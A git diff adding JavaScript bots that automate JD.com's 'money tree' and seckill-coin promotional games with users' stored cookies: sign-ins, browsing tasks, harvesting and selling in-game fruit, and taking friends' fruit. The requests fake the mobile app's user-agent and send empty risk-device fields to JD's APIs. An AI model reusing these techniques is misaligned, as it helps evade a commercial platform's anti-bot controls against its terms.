signEveryDay(); + await dayWork(); + await harvest(); + await sell(); + await myWealth(); + await stealFriendFruit() + + $.log(`\n${message}\n`); + } catch (e) { + $.logErr(e) + } +} + +function user_info() { + console.log('初始化摇钱树个人信息'); + const params = { + "sharePin": "", + "shareType": 1, + "channelLV": "", + "source": 2, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": "2", + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + // await $.wait(5000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + console.log('resultCode为0') + if (res.resultData.data) { + userInfo = res.resultData.data; + // userInfo.realName = null; + if (userInfo.realName) { + // console.log(`助力码sharePin为::${userInfo.sharePin}`); + $.treeMsgTime = userInfo.sharePin; + subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`; + // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`; + // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`; + // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`; + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"}); + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function dayWork() { + console.log(`开始做任务userInfo了\n`) + return new Promise(async resolve => { + const data = { + "source": 0, + "linkMissionIds": ["666", "667"], + "LinkMissionIdValues": [7, 7], + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + }; + let response = await request('dayWork', data); + // console.log(`获取任务的信息:${JSON.stringify(response)}\n`) + let canTask = []; + taskInfo = []; + if (response && response.resultCode === 0) { + if (response.resultData.code === '200') { + response.resultData.data.map((item) => { + if (item.prizeType === 2) { + canTask.push(item); + } + if (item.workType === 7 && item.prizeType === 0) { + // missionId.push(item.mid); + taskInfo.push(item); + } + // if (item.workType === 7 && item.prizeType === 0) { + // missionId2 = item.mid; + // } + }) + } + } + console.log(`canTask::${JSON.stringify(canTask)}\n`) + console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`) + for (let item of canTask) { + if (item.workType === 1) { + // 签到任务 + // let signRes = await sign(); + // console.log(`签到结果:${JSON.stringify(signRes)}`); + if (item.workStatus === 0) { + // const data = {"source":2,"workType":1,"opType":2}; + // let signRes = await request('doWork', data); + let signRes = await sign(); + console.log(`三餐签到结果:${JSON.stringify(signRes)}`); + } else if (item.workStatus === 2) { + console.log(`三餐签到任务已经做过`) + } else if (item.workStatus === -1) { + console.log(`三餐签到任务不在时间范围内`) + } + } else if (item.workType === 2) { + // 分享任务 + if (item.workStatus === 0) { + // share(); + const data = {"source": 0, "workType": 2, "opType": 1}; + //开始分享 + // let shareRes = await request('doWork', data); + let shareRes = await share(data); + console.log(`开始分享的动作:${JSON.stringify(shareRes)}`); + const b = {"source": 0, "workType": 2, "opType": 2}; + // let shareResJL = await request('doWork', b); + let shareResJL = await share(b); + console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`) + } else if (item.workStatus === 2) { + console.log(`分享任务已经做过`) + } + } + } + for (let task of taskInfo) { + if (task.mid && task.workStatus === 0) { + console.log('开始做浏览任务'); + // yield setUserLinkStatus(task.mid); + let aa = await setUserLinkStatus(task.mid); + console.log(`aaa${JSON.stringify(aa)}`); + } else if (task.mid && task.workStatus === 1) { + console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`); + let receiveAwardRes = await receiveAward(task.mid); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + } else if (task.mid && task.workStatus === 2) { + console.log('所有的浏览任务都做完了') + } + } + resolve(); + }); +} + +function harvest() { + if (!userInfo) return + const data = { + "source": 2, + "sharePin": "", + "userId": userInfo.userInfo, + "userToken": userInfo.userToken, + "shareType": 1, + "channel": "", + "riskDeviceParam": { + "eid": "", + "appType": 2, + "fp": "", + "jstub": "", + "sdkToken": "", + "token": "" + } + } + data.riskDeviceParam = JSON.stringify(data.riskDeviceParam); + return new Promise((rs, rj) => { + request('harvest', data).then((harvestRes) => { + if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`) + let data = harvestRes.resultData.data; + message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + fruitTotal = data.treeInfo.fruit; + } else { + console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`) + } + rs() + // gen.next(); + }) + }) + // request('harvest', data).then((harvestRes) => { + // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + // let data = harvestRes.resultData.data; + // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + // fruitTotal = data.treeInfo.fruit; + // gen.next(); + // } + // }) +} + +//卖出金果,得到金币 +function sell() { + return new Promise((rs, rj) => { + const params = { + "source": 2, + "jtCount": 7.000000000000001, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": 2, + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + console.log(`目前金果数量${fruitTotal}`) + sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`); + if (sellFruit && sellFruit === 'false') { + console.log(`\n设置的不卖出金果\n`) + rs() + return + } + if (fruitTotal >= 8000 * 7) { + if (userInfo['jtRest'] === 0) { + console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`) + rs() + return + } + request('sell', params).then((sellRes) => { + if (sellRes && sellRes['resultCode'] === 0) { + if (sellRes['resultData']['code'] === '200') { + if (sellRes['resultData']['data']['sell'] === 0) { + console.log(`卖出金果成功,获得0.07金贴\n`); + allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`) + } + } + } + rs() + }) + } else { + console.log(`当前金果数量不够兑换 0.07金贴\n`); + rs() + } + // request('sell', params).then(response => { + // rs(response); + // }) + }) + // request('sell', params).then((sellRes) => { + // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`) + // gen.next(); + // }) +} + +//获取金币和金果数量 +function myWealth() { + return new Promise((resolve) => { + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + request('myWealth', params).then(res => { + if (res && res.resultCode === 0 && res.resultData.code === '200') { + console.log(`金贴和金果数量::${JSON.stringify(res)}`); + message += `【我的金果数量】${res.resultData.data.gaAmount}\n`; + message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`; + } + resolve(); + }) + }); +} + +function sign() { + console.log('开始三餐签到') + const data = {"source": 2, "workType": 1, "opType": 2}; + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +function signIndex() { + const params = { + "source": 0, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signIndex', params).then(response => { + rs(response); + }) + }) +} + +function signEveryDay() { + return new Promise(async (resolve) => { + try { + let signIndexRes = await signIndex(); + if (signIndexRes.resultCode === 0) { + console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`); + if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) { + console.log('准备每日签到') + let signOneRes = await signOne(signIndexRes.resultData.data.signDay); + console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`); + if (signIndexRes.resultData.data.signDay === 7) { + let getSignAwardRes = await getSignAward(); + console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`) + if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) { + message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n` + } + } + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve() + } + }) +} + +function signOne(signDay) { + const params = { + "source": 0, + "signDay": signDay, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signOne', params).then(response => { + rs(response); + }) + }) +} + +// 领取七日签到后的奖励(店铺优惠券) +function getSignAward() { + const params = { + "source": 2, + "awardType": 2, + "deviceRiskParam": 1, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('getSignAward', params).then(response => { + rs(response); + }) + }) +} + +// 浏览任务 +async function setUserLinkStatus(missionId) { + let index = 0; + do { + const params = { + "missionId": missionId, + "pushStatus": 1, + "keyValue": index, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + let response = await request('setUserLinkStatus', params) + console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`); + // if (resultCode === 0) { + // let sportRevardResult = await getSportReward(); + // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + // } + index++; + } while (index < 7) //不知道结束的条件,目前写死循环7次吧 + console.log('浏览店铺任务结束'); + console.log('开始领取浏览后的奖励'); + let receiveAwardRes = await receiveAward(missionId); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + return new Promise((resolve, reject) => { + resolve(receiveAwardRes); + }) + // gen.next(); +} + +// 领取浏览后的奖励 +function receiveAward(mid) { + if (!mid) return + mid = mid + ""; + const params = { + "source": 0, + "workType": 7, + "opType": 2, + "mid": mid, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('doWork', params).then(response => { + rs(response); + }) + }) +} + +function share(data) { + if (data.opType === 1) { + console.log(`开始做分享任务\n`) + } else { + console.log(`开始做领取分享后的奖励\n`) + } + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +async function stealFriendFruit() { + await friendRank(); + if ($.friendRankList && $.friendRankList.length > 0) { + const canSteal = $.friendRankList.some((item) => { + const boxShareCode = item.steal + return (boxShareCode === true); + }); + if (canSteal) { + $.amount = 0; + for (let item of $.friendRankList) { + if (!item.self && item.steal) { + await friendTreeRoom(item.encryPin); + const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo); + if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') { + $.amount += stealFruitRes.resultData.data.amount; + } + } + } + message += `【偷取好友金果】共${$.amount}个\n`; + } else { + console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`) + } + } else { + console.log(`您暂无好友,故跳过`); + } +} + +//获取好友列表API +async function friendRank() { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendRank', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendRankList = data.resultData.data; + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +// 进入好友房间API +async function friendTreeRoom(friendPin) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendTree', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendTree = data.resultData.data; + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +//偷好友金果API +async function stealFruit(friendPin, stoleId) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "stoleId": stoleId, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('stealFruit', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(data) + } + }) + }) +} + + +async function request(function_id, body = {}) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve(data) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_ms.js b/jd_ms.js new file mode 100644 index 0000000..0501da2 --- /dev/null +++ b/jd_ms.js @@ -0,0 +1,328 @@ +/* +京东秒秒币 +Last Modified time: 2021-05-22 8:55:00 +一天签到100币左右,100币可兑换1毛钱红包,推荐攒着配合农场一起用 +活动时间:长期活动 +更新地址:jd_ms.js +活动入口:京东app-京东秒杀-签到领红包 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东秒秒币 +10 7 * * * jd_ms.js, tag=京东秒秒币, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_ms.jpg, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_ms.js,tag=京东秒秒币 + +===============Surge================= +京东秒秒币 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=200,script-path=jd_ms.js + +============小火箭========= +京东秒秒币 = type=cron,script-path=jd_ms.js, cronexpr="10 7 * * *", timeout=200, enable=true + */ +const $ = new Env('京东秒秒币'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + 